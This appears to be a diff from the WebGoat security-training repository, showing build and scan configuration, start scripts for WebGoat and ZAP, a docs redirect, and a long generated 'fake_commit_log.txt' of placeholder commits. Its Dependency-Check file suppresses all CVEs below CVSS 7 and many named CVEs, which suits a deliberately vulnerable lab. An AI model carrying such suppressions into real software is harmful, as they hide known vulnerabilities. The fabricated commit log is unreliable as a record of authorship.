<suppress files="MD5.java" checks="[a-zA-Z0-9]*" />
<suppress files="VulnerableComponentsLesson.java" checks="[a-zA-Z0-9]*" />
<suppress files="ContentTypeAssignment.java" checks="IllegalImportCheck" />
<suppress files="SimpleXXE.java" checks="IllegalImportCheck" />
<suppress files="HtmlTamperingTask.java" checks="ParameterName" />
</suppressions>

View File

@ -0,0 +1,77 @@
<?xml version="1.0" encoding="UTF-8"?>
<suppressions xmlns="https://jeremylong.github.io/DependencyCheck/dependency-suppression.1.3.xsd">
<suppress>
<notes><![CDATA[
This suppresses all CVE entries that have a score below CVSS 7.
]]></notes>
<cvssBelow>7</cvssBelow>
</suppress>
<suppress>
<notes><![CDATA[
file name: spring-tx-5.3.21.jar
]]></notes>
<sha1>13f4f564024d2f85502c151942307c3ca851a4f7</sha1>
<cve>CVE-2016-1000027</cve>
</suppress>
<suppress>
<notes><![CDATA[
file name: spring-core-5.3.21.jar
]]></notes>
<packageUrl regex="true">^pkg:maven/org\.springframework/spring\-core@.*$</packageUrl>
<cve>CVE-2016-1000027</cve>
</suppress>
<suppress>
<notes><![CDATA[
file name: spring-aop-5.3.21.jar
]]></notes>
<packageUrl regex="true">^pkg:maven/org\.springframework/spring\-aop@.*$</packageUrl>
<cve>CVE-2016-1000027</cve>
</suppress>
<suppress>
<notes><![CDATA[
file name: spring-boot-starter-security-2.7.1.jar
]]></notes>
<packageUrl regex="true">^pkg:maven/org\.springframework\.boot/spring\-boot\-starter\-security@.*$</packageUrl>
<cve>CVE-2022-22978</cve>
</suppress>
<suppress>
<notes><![CDATA[
file name: jruby-stdlib-9.2.20.1.jar: jopenssl.jar (shaded: rubygems:jruby-openssl:0.11.0)
]]></notes>
<packageUrl regex="true">^pkg:maven/rubygems/jruby\-openssl@.*$</packageUrl>
<cpe>cpe:/a:jruby:jruby</cpe>
<cpe>cpe:/a:openssl:openssl</cpe>
</suppress>
<suppress>
<notes><![CDATA[
file name: xstream-1.4.5.jar
]]></notes>
<packageUrl regex="true">^pkg:maven/com\.thoughtworks\.xstream/xstream@.*$</packageUrl>
<cpe>cpe:/a:xstream_project:xstream</cpe>
<vulnerabilityName>CVE-2013-7285</vulnerabilityName>
<vulnerabilityName>CVE-2016-3674</vulnerabilityName>
<vulnerabilityName>CVE-2017-7957</vulnerabilityName>
<vulnerabilityName>CVE-2020-26217</vulnerabilityName>
<vulnerabilityName>CVE-2020-26258</vulnerabilityName>
<vulnerabilityName>CVE-2020-26259</vulnerabilityName>
<vulnerabilityName>CVE-2021-21341</vulnerabilityName>
<vulnerabilityName>CVE-2021-21342</vulnerabilityName>
<vulnerabilityName>CVE-2021-21343</vulnerabilityName>
<vulnerabilityName>CVE-2021-21344</vulnerabilityName>
<vulnerabilityName>CVE-2021-21345</vulnerabilityName>
<vulnerabilityName>CVE-2021-21346</vulnerabilityName>
<vulnerabilityName>CVE-2021-21347</vulnerabilityName>
<vulnerabilityName>CVE-2021-21348</vulnerabilityName>
<vulnerabilityName>CVE-2021-21349</vulnerabilityName>
<vulnerabilityName>CVE-2021-21350</vulnerabilityName>
<vulnerabilityName>CVE-2021-21351</vulnerabilityName>
<vulnerabilityName>CVE-2021-43859</vulnerabilityName>
</suppress>
<suppress>
<notes><![CDATA[
file name: spring-jcl-5.3.21.jar
]]></notes>
<packageUrl regex="true">^pkg:maven/org\.springframework/spring\-.*@.*$</packageUrl>
<cve>CVE-2016-1000027</cve>
</suppress>
</suppressions>

View File

@ -0,0 +1,10 @@
** Welcome to WebGoat desktop image
With this image you have WebGoat and ZAP and a browser available to you in a browser running on Ubuntu.
You can start WebGoat and ZAP by opening a terminal and type:
./start_webgoat.sh
./start_zap.sh
Happy hacking,
Team WebGoat

View File

@ -0,0 +1,17 @@
#!/bin/sh
/config/java-jdk/bin/java \
-Duser.home=/config \
-Dfile.encoding=UTF-8 \
-DTZ=Europe/Amsterdam \
--add-opens java.base/java.lang=ALL-UNNAMED \
--add-opens java.base/java.util=ALL-UNNAMED \
--add-opens java.base/java.lang.reflect=ALL-UNNAMED \
--add-opens java.base/java.text=ALL-UNNAMED \
--add-opens java.desktop/java.beans=ALL-UNNAMED \
--add-opens java.desktop/java.awt.font=ALL-UNNAMED \
--add-opens java.base/sun.nio.ch=ALL-UNNAMED \
--add-opens java.base/java.io=ALL-UNNAMED \
--add-opens java.base/java.util=ALL-UNNAMED \
-Drunning.in.docker=false \
-jar /config/webgoat.jar

View File

@ -0,0 +1,3 @@
#!/bin/sh
/config/java-jdk/bin/java -jar /config/ZAP_2.15.0/zap-2.15.0.jar

View File

@ -0,0 +1,4 @@
/*
* SPDX-FileCopyrightText: Copyright © $today.year WebGoat authors
* SPDX-License-Identifier: GPL-2.0-or-later
*/

View File

@ -1,40 +0,0 @@
version: '2.0'
services:
activemq:
image: webcenter/activemq:latest
ports:
- 8161:8161
- 61616:61616
- 61613:61613
mongo:
image: mongo:latest
expose:
- "27017"
volumes:
- './mongo-data:/data/db'
webgoat:
build: webgoat-server/
command: "sh /home/webgoat/start.sh"
ports:
- "8080:8080"
depends_on:
[mongo, activemq]
environment:
WG_MONGO_PORT: 27017
WG_MONGO_HOST: mongo
WG_MQ_HOST: activemq
WG_MQ_PORT: 61616
WG_INTERNAL_MONGO: "false"
webwolf:
build: webwolf/
command: "sh /home/webwolf/start.sh"
depends_on:
- webgoat
ports:
- "8081:8081"
environment:
WG_MONGO_PORT: 27017
WG_MONGO_HOST: mongo
WG_MQ_HOST: activemq
WG_MQ_PORT: 61616

3
docs/README.md Normal file
View File

@ -0,0 +1,3 @@
# WebGoat landing page
Old GitHub page which now redirects to OWASP website.

BIN
docs/images/webgoat.png Normal file

Binary file not shown.

After

Width:  |  Height:  |  Size: 319 KiB

14
docs/index.html Normal file
View File

@ -0,0 +1,14 @@
<!DOCTYPE html>
<html lang="en">
<head>
<meta charset="utf-8">
<meta http-equiv="refresh" content="0;url=https://webgoat.org" />
<link rel="canonical" href="https://webgoat.org" />
</head>
<body>
<h1>
The page been moved to <a href="https://webgoat.org">https://webgoat.org</a>
</h1>
</body>
</html>

745
fake_commit_log.txt Normal file
View File

@ -0,0 +1,745 @@
Sat May 10 12:27:40 UTC 2025: Commit 1 by Author One
Sat May 10 12:28:00 UTC 2025: Commit 2 by Author Two
Sat May 10 16:00:41 UTC 2025: Commit 1 by Author One
Sat May 10 16:02:46 UTC 2025: Commit 2 by Author Two
Sat May 10 16:04:50 UTC 2025: Commit 3 by Author Three
Sat May 10 16:06:55 UTC 2025: Commit 4 by Author Four
Sat May 10 16:08:59 UTC 2025: Commit 5 by Author Five
Sat May 10 16:11:03 UTC 2025: Commit 6 by Author Six
Sat May 10 16:13:08 UTC 2025: Commit 7 by Author Seven
Sat May 10 16:15:12 UTC 2025: Commit 8 by Author Eight
Sat May 10 16:17:17 UTC 2025: Commit 9 by Author Nine
Sat May 10 16:19:21 UTC 2025: Commit 10 by Author Ten
Sat May 10 16:21:26 UTC 2025: Commit 11 by DWSAuthor One
Sat May 10 16:23:30 UTC 2025: Commit 12 by DWSAuthor Two
Sat May 10 16:45:47 UTC 2025: Commit 1 by Author One
Sat May 10 16:48:41 UTC 2025: Commit 1 by Author One
Sat May 10 16:51:41 UTC 2025: Commit 1 by Author One
Sat May 10 16:54:41 UTC 2025: Commit 1 by Author One
Sat May 10 18:00:41 UTC 2025: Commit 1 by Author
Sat May 10 18:03:27 UTC 2025: Commit 2 by Seven
Sat May 10 18:06:14 UTC 2025: Commit 3 by <author7@example.com>
Sat May 10 18:09:01 UTC 2025: Commit 4 by DWSAuthor
Sat May 10 18:11:47 UTC 2025: Commit 5 by Four
Sat May 10 18:14:34 UTC 2025: Commit 6 by <autdwshor4@example.com>
Sat May 10 18:17:21 UTC 2025: Commit 7 by DWSAuthor
Sat May 10 18:20:07 UTC 2025: Commit 8 by Seven
Sat May 10 18:22:54 UTC 2025: Commit 9 by <adwsuthor7@example.com>
Sat May 10 18:25:41 UTC 2025: Commit 10 by DWSAuthor
Sat May 10 18:28:27 UTC 2025: Commit 11 by Six
Sat May 10 18:31:14 UTC 2025: Commit 12 by <autdwshor6@example.com>
Sat May 10 21:00:41 UTC 2025: Commit 1 by DWSAuthor
Sat May 10 21:03:28 UTC 2025: Commit 2 by Seven
Sat May 10 21:06:15 UTC 2025: Commit 3 by <adwsuthor7@example.com>
Sat May 10 21:09:02 UTC 2025: Commit 4 by Author
Sat May 10 21:11:48 UTC 2025: Commit 5 by One
Sat May 10 21:14:35 UTC 2025: Commit 6 by <author1@example.com>
Sat May 10 21:17:22 UTC 2025: Commit 7 by Author
Sat May 10 21:20:08 UTC 2025: Commit 8 by Three
Sat May 10 21:22:55 UTC 2025: Commit 9 by <author3@example.com>
Sat May 10 21:25:42 UTC 2025: Commit 10 by DWSAuthor
Sat May 10 21:28:28 UTC 2025: Commit 11 by Eight
Sat May 10 21:31:15 UTC 2025: Commit 12 by <adwsuthor8@example.com>
Sun May 11 00:00:41 UTC 2025: Commit 1 by Author
Sun May 11 00:03:27 UTC 2025: Commit 2 by Eight
Sun May 11 00:06:14 UTC 2025: Commit 3 by <author8@example.com>
Sun May 11 00:09:01 UTC 2025: Commit 4 by Author
Sun May 11 00:11:47 UTC 2025: Commit 5 by Four
Sun May 11 00:14:34 UTC 2025: Commit 6 by <author4@example.com>
Sun May 11 00:17:21 UTC 2025: Commit 7 by DWSAuthor
Sun May 11 00:20:07 UTC 2025: Commit 8 by Eight
Sun May 11 00:22:54 UTC 2025: Commit 9 by <adwsuthor8@example.com>
Sun May 11 00:25:40 UTC 2025: Commit 10 by DWSAuthor
Sun May 11 00:28:27 UTC 2025: Commit 11 by Ten
Sun May 11 00:31:14 UTC 2025: Commit 12 by <autdwshor10@example.com>
Sun May 11 03:00:42 UTC 2025: Commit 1 by DWSAuthor
Sun May 11 03:03:29 UTC 2025: Commit 2 by Eight
Sun May 11 03:06:16 UTC 2025: Commit 3 by <adwsuthor8@example.com>
Sun May 11 03:09:02 UTC 2025: Commit 4 by DWSAuthor
Sun May 11 03:11:49 UTC 2025: Commit 5 by One
Sun May 11 03:14:36 UTC 2025: Commit 6 by <dwsauthor1@example.com>
Sun May 11 03:17:22 UTC 2025: Commit 7 by DWSAuthor
Sun May 11 03:20:09 UTC 2025: Commit 8 by Six
Sun May 11 03:22:55 UTC 2025: Commit 9 by <autdwshor6@example.com>
Sun May 11 03:25:42 UTC 2025: Commit 10 by Author
Sun May 11 03:28:29 UTC 2025: Commit 11 by Six
Sun May 11 03:31:15 UTC 2025: Commit 12 by <author6@example.com>
Sun May 11 06:00:42 UTC 2025: Commit 1 by DWSAuthor
Sun May 11 06:03:29 UTC 2025: Commit 2 by One
Sun May 11 06:06:16 UTC 2025: Commit 3 by <dwsauthor1@example.com>
Sun May 11 06:09:02 UTC 2025: Commit 4 by DWSAuthor
Sun May 11 06:11:49 UTC 2025: Commit 5 by Ten
Sun May 11 06:14:36 UTC 2025: Commit 6 by <autdwshor10@example.com>
Sun May 11 06:17:22 UTC 2025: Commit 7 by DWSAuthor
Sun May 11 06:20:09 UTC 2025: Commit 8 by Five
Sun May 11 06:22:56 UTC 2025: Commit 9 by <autdwshor5@example.com>
Sun May 11 06:25:42 UTC 2025: Commit 10 by DWSAuthor
Sun May 11 06:28:29 UTC 2025: Commit 11 by Six
Sun May 11 06:31:16 UTC 2025: Commit 12 by <autdwshor6@example.com>
Sun May 11 09:00:42 UTC 2025: Commit 1 by DWSAuthor
Sun May 11 09:03:28 UTC 2025: Commit 2 by Eight
Sun May 11 09:06:15 UTC 2025: Commit 3 by <adwsuthor8@example.com>
Sun May 11 09:09:02 UTC 2025: Commit 4 by Author
Sun May 11 09:11:49 UTC 2025: Commit 5 by One
Sun May 11 09:14:35 UTC 2025: Commit 6 by <author1@example.com>
Sun May 11 09:17:22 UTC 2025: Commit 7 by DWSAuthor
Sun May 11 09:20:08 UTC 2025: Commit 8 by Four
Sun May 11 09:22:55 UTC 2025: Commit 9 by <autdwshor4@example.com>
Sun May 11 09:25:42 UTC 2025: Commit 10 by Author
Sun May 11 09:28:28 UTC 2025: Commit 11 by Seven
Sun May 11 09:31:15 UTC 2025: Commit 12 by <author7@example.com>
Sun May 11 12:00:41 UTC 2025: Commit 1 by DWSAuthor
Sun May 11 12:03:28 UTC 2025: Commit 2 by Four
Sun May 11 12:06:15 UTC 2025: Commit 3 by <autdwshor4@example.com>
Sun May 11 12:09:01 UTC 2025: Commit 4 by DWSAuthor
Sun May 11 12:11:48 UTC 2025: Commit 5 by Three
Sun May 11 12:14:35 UTC 2025: Commit 6 by <dwsauthor3@example.com>
Sun May 11 12:17:21 UTC 2025: Commit 7 by Author
Sun May 11 12:20:08 UTC 2025: Commit 8 by Seven
Sun May 11 12:22:54 UTC 2025: Commit 9 by <author7@example.com>
Sun May 11 12:25:41 UTC 2025: Commit 10 by DWSAuthor
Sun May 11 12:28:28 UTC 2025: Commit 11 by One
Sun May 11 12:31:14 UTC 2025: Commit 12 by <dwsauthor1@example.com>
Sun May 11 15:00:41 UTC 2025: Commit 1 by DWSAuthor
Sun May 11 15:03:28 UTC 2025: Commit 2 by Four
Sun May 11 15:06:15 UTC 2025: Commit 3 by <autdwshor4@example.com>
Sun May 11 15:09:01 UTC 2025: Commit 4 by Author
Sun May 11 15:11:48 UTC 2025: Commit 5 by Nine
Sun May 11 15:14:35 UTC 2025: Commit 6 by <author9@example.com>
Sun May 11 15:17:21 UTC 2025: Commit 7 by DWSAuthor
Sun May 11 15:20:08 UTC 2025: Commit 8 by Nine
Sun May 11 15:22:55 UTC 2025: Commit 9 by <autdwshor9@example.com>
Sun May 11 15:25:41 UTC 2025: Commit 10 by Author
Sun May 11 15:28:28 UTC 2025: Commit 11 by One
Sun May 11 15:31:15 UTC 2025: Commit 12 by <author1@example.com>
Sun May 11 18:00:42 UTC 2025: Commit 1 by DWSAuthor
Sun May 11 18:03:28 UTC 2025: Commit 2 by Four
Sun May 11 18:06:15 UTC 2025: Commit 3 by <autdwshor4@example.com>
Sun May 11 18:09:02 UTC 2025: Commit 4 by Author
Sun May 11 18:11:48 UTC 2025: Commit 5 by Five
Sun May 11 18:14:35 UTC 2025: Commit 6 by <author5@example.com>
Sun May 11 18:17:22 UTC 2025: Commit 7 by DWSAuthor
Sun May 11 18:20:08 UTC 2025: Commit 8 by Nine
Sun May 11 18:22:55 UTC 2025: Commit 9 by <autdwshor9@example.com>
Sun May 11 18:25:42 UTC 2025: Commit 10 by Author
Sun May 11 18:28:28 UTC 2025: Commit 11 by Three
Sun May 11 18:31:15 UTC 2025: Commit 12 by <author3@example.com>
Sun May 11 21:00:41 UTC 2025: Commit 1 by Author
Sun May 11 21:03:28 UTC 2025: Commit 2 by Eight
Sun May 11 21:06:14 UTC 2025: Commit 3 by <author8@example.com>
Sun May 11 21:09:01 UTC 2025: Commit 4 by Author
Sun May 11 21:11:48 UTC 2025: Commit 5 by Two
Sun May 11 21:14:34 UTC 2025: Commit 6 by <author2@example.com>
Sun May 11 21:17:21 UTC 2025: Commit 7 by Author
Sun May 11 21:20:08 UTC 2025: Commit 8 by Five
Sun May 11 21:22:54 UTC 2025: Commit 9 by <author5@example.com>
Sun May 11 21:25:41 UTC 2025: Commit 10 by DWSAuthor
Sun May 11 21:28:28 UTC 2025: Commit 11 by Seven
Sun May 11 21:31:14 UTC 2025: Commit 12 by <adwsuthor7@example.com>
Mon May 12 00:00:42 UTC 2025: Commit 1 by Author
Mon May 12 00:03:29 UTC 2025: Commit 2 by Seven
Mon May 12 00:06:16 UTC 2025: Commit 3 by <author7@example.com>
Mon May 12 00:09:03 UTC 2025: Commit 4 by DWSAuthor
Mon May 12 00:11:49 UTC 2025: Commit 5 by Eight
Mon May 12 00:14:36 UTC 2025: Commit 6 by <adwsuthor8@example.com>
Mon May 12 00:17:22 UTC 2025: Commit 7 by DWSAuthor
Mon May 12 00:20:09 UTC 2025: Commit 8 by Ten
Mon May 12 00:22:56 UTC 2025: Commit 9 by <autdwshor10@example.com>
Mon May 12 00:25:42 UTC 2025: Commit 10 by DWSAuthor
Mon May 12 00:28:29 UTC 2025: Commit 11 by Seven
Mon May 12 00:31:16 UTC 2025: Commit 12 by <adwsuthor7@example.com>
Mon May 12 03:00:42 UTC 2025: Commit 1 by DWSAuthor
Mon May 12 03:03:28 UTC 2025: Commit 2 by Nine
Mon May 12 03:06:15 UTC 2025: Commit 3 by <autdwshor9@example.com>
Mon May 12 03:09:02 UTC 2025: Commit 4 by Author
Mon May 12 03:11:49 UTC 2025: Commit 5 by Nine
Mon May 12 03:14:35 UTC 2025: Commit 6 by <author9@example.com>
Mon May 12 03:17:22 UTC 2025: Commit 7 by Author
Mon May 12 03:20:09 UTC 2025: Commit 8 by Two
Mon May 12 03:22:55 UTC 2025: Commit 9 by <author2@example.com>
Mon May 12 03:25:42 UTC 2025: Commit 10 by Author
Mon May 12 03:28:29 UTC 2025: Commit 11 by One
Mon May 12 03:31:15 UTC 2025: Commit 12 by <author1@example.com>
Mon May 12 06:00:42 UTC 2025: Commit 1 by DWSAuthor
Mon May 12 06:03:28 UTC 2025: Commit 2 by Two
Mon May 12 06:06:15 UTC 2025: Commit 3 by <dwsauthor2@example.com>
Mon May 12 06:09:02 UTC 2025: Commit 4 by DWSAuthor
Mon May 12 06:11:48 UTC 2025: Commit 5 by Ten
Mon May 12 06:14:35 UTC 2025: Commit 6 by <autdwshor10@example.com>
Mon May 12 06:17:22 UTC 2025: Commit 7 by DWSAuthor
Mon May 12 06:20:08 UTC 2025: Commit 8 by Five
Mon May 12 06:22:55 UTC 2025: Commit 9 by <autdwshor5@example.com>
Mon May 12 06:25:42 UTC 2025: Commit 10 by Author
Mon May 12 06:28:28 UTC 2025: Commit 11 by One
Mon May 12 06:31:15 UTC 2025: Commit 12 by <author1@example.com>
Mon May 12 09:00:41 UTC 2025: Commit 1 by DWSAuthor
Mon May 12 09:03:28 UTC 2025: Commit 2 by Two
Mon May 12 09:06:15 UTC 2025: Commit 3 by <dwsauthor2@example.com>
Mon May 12 09:09:01 UTC 2025: Commit 4 by Author
Mon May 12 09:11:48 UTC 2025: Commit 5 by Three
Mon May 12 09:14:35 UTC 2025: Commit 6 by <author3@example.com>
Mon May 12 09:17:21 UTC 2025: Commit 7 by DWSAuthor
Mon May 12 09:20:08 UTC 2025: Commit 8 by Six
Mon May 12 09:22:55 UTC 2025: Commit 9 by <autdwshor6@example.com>
Mon May 12 09:25:41 UTC 2025: Commit 10 by Author
Mon May 12 09:28:28 UTC 2025: Commit 11 by One
Mon May 12 09:31:14 UTC 2025: Commit 12 by <author1@example.com>
Mon May 12 12:00:43 UTC 2025: Commit 1 by DWSAuthor
Mon May 12 12:03:30 UTC 2025: Commit 2 by Eight
Mon May 12 12:06:17 UTC 2025: Commit 3 by <adwsuthor8@example.com>
Mon May 12 12:09:04 UTC 2025: Commit 4 by Author
Mon May 12 12:11:50 UTC 2025: Commit 5 by Five
Mon May 12 12:14:37 UTC 2025: Commit 6 by <author5@example.com>
Mon May 12 12:17:23 UTC 2025: Commit 7 by DWSAuthor
Mon May 12 12:20:10 UTC 2025: Commit 8 by Ten
Mon May 12 12:22:57 UTC 2025: Commit 9 by <autdwshor10@example.com>
Mon May 12 12:25:43 UTC 2025: Commit 10 by Author
Mon May 12 12:28:30 UTC 2025: Commit 11 by Nine
Mon May 12 12:31:17 UTC 2025: Commit 12 by <author9@example.com>
Mon May 12 15:00:41 UTC 2025: Commit 1 by Author
Mon May 12 15:03:28 UTC 2025: Commit 2 by Two
Mon May 12 15:06:15 UTC 2025: Commit 3 by <author2@example.com>
Mon May 12 15:09:01 UTC 2025: Commit 4 by Author
Mon May 12 15:11:48 UTC 2025: Commit 5 by Eight
Mon May 12 15:14:35 UTC 2025: Commit 6 by <author8@example.com>
Mon May 12 15:17:21 UTC 2025: Commit 7 by DWSAuthor
Mon May 12 15:20:08 UTC 2025: Commit 8 by Eight
Mon May 12 15:22:55 UTC 2025: Commit 9 by <adwsuthor8@example.com>
Mon May 12 15:25:41 UTC 2025: Commit 10 by DWSAuthor
Mon May 12 15:28:28 UTC 2025: Commit 11 by Five
Mon May 12 15:31:15 UTC 2025: Commit 12 by <autdwshor5@example.com>
Mon May 12 18:00:41 UTC 2025: Commit 1 by Author
Mon May 12 18:03:28 UTC 2025: Commit 2 by Eight
Mon May 12 18:06:15 UTC 2025: Commit 3 by <author8@example.com>
Mon May 12 18:09:01 UTC 2025: Commit 4 by Author
Mon May 12 18:11:48 UTC 2025: Commit 5 by Nine
Mon May 12 18:14:35 UTC 2025: Commit 6 by <author9@example.com>
Mon May 12 18:17:21 UTC 2025: Commit 7 by DWSAuthor
Mon May 12 18:20:08 UTC 2025: Commit 8 by Six
Mon May 12 18:22:55 UTC 2025: Commit 9 by <autdwshor6@example.com>
Mon May 12 18:25:41 UTC 2025: Commit 10 by DWSAuthor
Mon May 12 18:28:28 UTC 2025: Commit 11 by Eight
Mon May 12 18:31:14 UTC 2025: Commit 12 by <adwsuthor8@example.com>
Mon May 12 21:00:43 UTC 2025: Commit 1 by Author
Mon May 12 21:03:30 UTC 2025: Commit 2 by Ten
Mon May 12 21:06:16 UTC 2025: Commit 3 by <author10@example.com>
Mon May 12 21:09:03 UTC 2025: Commit 4 by DWSAuthor
Mon May 12 21:11:50 UTC 2025: Commit 5 by Nine
Mon May 12 21:14:36 UTC 2025: Commit 6 by <autdwshor9@example.com>
Mon May 12 21:17:23 UTC 2025: Commit 7 by DWSAuthor
Mon May 12 21:20:09 UTC 2025: Commit 8 by One
Mon May 12 21:22:56 UTC 2025: Commit 9 by <dwsauthor1@example.com>
Mon May 12 21:25:43 UTC 2025: Commit 10 by Author
Mon May 12 21:28:29 UTC 2025: Commit 11 by Seven
Mon May 12 21:31:16 UTC 2025: Commit 12 by <author7@example.com>
Tue May 13 00:00:42 UTC 2025: Commit 1 by DWSAuthor
Tue May 13 00:03:29 UTC 2025: Commit 2 by Six
Tue May 13 00:06:15 UTC 2025: Commit 3 by <autdwshor6@example.com>
Tue May 13 00:09:02 UTC 2025: Commit 4 by Author
Tue May 13 00:11:48 UTC 2025: Commit 5 by Five
Tue May 13 00:14:35 UTC 2025: Commit 6 by <author5@example.com>
Tue May 13 00:17:22 UTC 2025: Commit 7 by Author
Tue May 13 00:20:08 UTC 2025: Commit 8 by Ten
Tue May 13 00:22:55 UTC 2025: Commit 9 by <author10@example.com>
Tue May 13 00:25:42 UTC 2025: Commit 10 by DWSAuthor
Tue May 13 00:28:28 UTC 2025: Commit 11 by One
Tue May 13 00:31:15 UTC 2025: Commit 12 by <dwsauthor1@example.com>
Tue May 13 03:00:43 UTC 2025: Commit 1 by DWSAuthor
Tue May 13 03:03:30 UTC 2025: Commit 2 by Seven
Tue May 13 03:06:17 UTC 2025: Commit 3 by <adwsuthor7@example.com>
Tue May 13 03:09:03 UTC 2025: Commit 4 by Author
Tue May 13 03:11:50 UTC 2025: Commit 5 by Two
Tue May 13 03:14:37 UTC 2025: Commit 6 by <author2@example.com>
Tue May 13 03:17:23 UTC 2025: Commit 7 by DWSAuthor
Tue May 13 03:20:10 UTC 2025: Commit 8 by Ten
Tue May 13 03:22:57 UTC 2025: Commit 9 by <autdwshor10@example.com>
Tue May 13 03:25:44 UTC 2025: Commit 10 by DWSAuthor
Tue May 13 03:28:30 UTC 2025: Commit 11 by Five
Tue May 13 03:31:17 UTC 2025: Commit 12 by <autdwshor5@example.com>
Tue May 13 06:00:42 UTC 2025: Commit 1 by DWSAuthor
Tue May 13 06:03:29 UTC 2025: Commit 2 by Two
Tue May 13 06:06:16 UTC 2025: Commit 3 by <dwsauthor2@example.com>
Tue May 13 06:09:02 UTC 2025: Commit 4 by DWSAuthor
Tue May 13 06:11:49 UTC 2025: Commit 5 by Four
Tue May 13 06:14:36 UTC 2025: Commit 6 by <autdwshor4@example.com>
Tue May 13 06:17:22 UTC 2025: Commit 7 by DWSAuthor
Tue May 13 06:20:09 UTC 2025: Commit 8 by Five
Tue May 13 06:22:56 UTC 2025: Commit 9 by <autdwshor5@example.com>
Tue May 13 06:25:42 UTC 2025: Commit 10 by Author
Tue May 13 06:28:29 UTC 2025: Commit 11 by Five
Tue May 13 06:31:16 UTC 2025: Commit 12 by <author5@example.com>
Tue May 13 09:00:45 UTC 2025: Commit 1 by DWSAuthor
Tue May 13 09:03:32 UTC 2025: Commit 2 by Three
Tue May 13 09:06:19 UTC 2025: Commit 3 by <dwsauthor3@example.com>
Tue May 13 09:09:06 UTC 2025: Commit 4 by Author
Tue May 13 09:11:52 UTC 2025: Commit 5 by Three
Tue May 13 09:14:39 UTC 2025: Commit 6 by <author3@example.com>
Tue May 13 09:17:26 UTC 2025: Commit 7 by Author
Tue May 13 09:20:12 UTC 2025: Commit 8 by Five
Tue May 13 09:22:59 UTC 2025: Commit 9 by <author5@example.com>
Tue May 13 09:25:45 UTC 2025: Commit 10 by Author
Tue May 13 09:28:32 UTC 2025: Commit 11 by Eight
Tue May 13 09:31:19 UTC 2025: Commit 12 by <author8@example.com>
Tue May 13 12:00:41 UTC 2025: Commit 1 by DWSAuthor
Tue May 13 12:03:28 UTC 2025: Commit 2 by Two
Tue May 13 12:06:15 UTC 2025: Commit 3 by <dwsauthor2@example.com>
Tue May 13 12:09:01 UTC 2025: Commit 4 by Author
Tue May 13 12:11:48 UTC 2025: Commit 5 by Three
Tue May 13 12:14:35 UTC 2025: Commit 6 by <author3@example.com>
Tue May 13 12:17:21 UTC 2025: Commit 7 by DWSAuthor
Tue May 13 12:20:08 UTC 2025: Commit 8 by Seven
Tue May 13 12:22:55 UTC 2025: Commit 9 by <adwsuthor7@example.com>
Tue May 13 12:25:41 UTC 2025: Commit 10 by DWSAuthor
Tue May 13 12:28:28 UTC 2025: Commit 11 by One
Tue May 13 12:31:14 UTC 2025: Commit 12 by <dwsauthor1@example.com>
Tue May 13 15:00:43 UTC 2025: Commit 1 by Author
Tue May 13 15:03:30 UTC 2025: Commit 2 by Three
Tue May 13 15:06:16 UTC 2025: Commit 3 by <author3@example.com>
Tue May 13 15:09:03 UTC 2025: Commit 4 by Author
Tue May 13 15:11:50 UTC 2025: Commit 5 by Five
Tue May 13 15:14:36 UTC 2025: Commit 6 by <author5@example.com>
Tue May 13 15:17:23 UTC 2025: Commit 7 by Author
Tue May 13 15:20:09 UTC 2025: Commit 8 by Seven
Tue May 13 15:22:56 UTC 2025: Commit 9 by <author7@example.com>
Tue May 13 15:25:43 UTC 2025: Commit 10 by Author
Tue May 13 15:28:29 UTC 2025: Commit 11 by Six
Tue May 13 15:31:16 UTC 2025: Commit 12 by <author6@example.com>
Tue May 13 18:00:42 UTC 2025: Commit 1 by Author
Tue May 13 18:03:29 UTC 2025: Commit 2 by Six
Tue May 13 18:06:16 UTC 2025: Commit 3 by <author6@example.com>
Tue May 13 18:09:02 UTC 2025: Commit 4 by DWSAuthor
Tue May 13 18:11:49 UTC 2025: Commit 5 by Two
Tue May 13 18:14:36 UTC 2025: Commit 6 by <dwsauthor2@example.com>
Tue May 13 18:17:22 UTC 2025: Commit 7 by Author
Tue May 13 18:20:09 UTC 2025: Commit 8 by Four
Tue May 13 18:22:56 UTC 2025: Commit 9 by <author4@example.com>
Tue May 13 18:25:42 UTC 2025: Commit 10 by Author
Tue May 13 18:28:29 UTC 2025: Commit 11 by Ten
Tue May 13 18:31:16 UTC 2025: Commit 12 by <author10@example.com>
Tue May 13 21:00:42 UTC 2025: Commit 1 by Author
Tue May 13 21:03:29 UTC 2025: Commit 2 by Eight
Tue May 13 21:06:15 UTC 2025: Commit 3 by <author8@example.com>
Tue May 13 21:09:02 UTC 2025: Commit 4 by Author
Tue May 13 21:11:49 UTC 2025: Commit 5 by Seven
Tue May 13 21:14:35 UTC 2025: Commit 6 by <author7@example.com>
Tue May 13 21:17:22 UTC 2025: Commit 7 by DWSAuthor
Tue May 13 21:20:09 UTC 2025: Commit 8 by Three
Tue May 13 21:22:55 UTC 2025: Commit 9 by <dwsauthor3@example.com>
Tue May 13 21:25:42 UTC 2025: Commit 10 by Author
Tue May 13 21:28:29 UTC 2025: Commit 11 by Six
Tue May 13 21:31:15 UTC 2025: Commit 12 by <author6@example.com>
Wed May 14 00:00:42 UTC 2025: Commit 1 by DWSAuthor
Wed May 14 00:03:29 UTC 2025: Commit 2 by Eight
Wed May 14 00:06:15 UTC 2025: Commit 3 by <adwsuthor8@example.com>
Wed May 14 00:09:02 UTC 2025: Commit 4 by DWSAuthor
Wed May 14 00:11:49 UTC 2025: Commit 5 by Six
Wed May 14 00:14:35 UTC 2025: Commit 6 by <autdwshor6@example.com>
Wed May 14 00:17:22 UTC 2025: Commit 7 by Author
Wed May 14 00:20:09 UTC 2025: Commit 8 by Two
Wed May 14 00:22:55 UTC 2025: Commit 9 by <author2@example.com>
Wed May 14 00:25:42 UTC 2025: Commit 10 by DWSAuthor
Wed May 14 00:28:29 UTC 2025: Commit 11 by Ten
Wed May 14 00:31:15 UTC 2025: Commit 12 by <autdwshor10@example.com>
Wed May 14 03:00:43 UTC 2025: Commit 1 by DWSAuthor
Wed May 14 03:03:30 UTC 2025: Commit 2 by Nine
Wed May 14 03:06:17 UTC 2025: Commit 3 by <autdwshor9@example.com>
Wed May 14 03:09:03 UTC 2025: Commit 4 by Author
Wed May 14 03:11:50 UTC 2025: Commit 5 by One
Wed May 14 03:14:37 UTC 2025: Commit 6 by <author1@example.com>
Wed May 14 03:17:23 UTC 2025: Commit 7 by DWSAuthor
Wed May 14 03:20:10 UTC 2025: Commit 8 by Four
Wed May 14 03:22:56 UTC 2025: Commit 9 by <autdwshor4@example.com>
Wed May 14 03:25:43 UTC 2025: Commit 10 by DWSAuthor
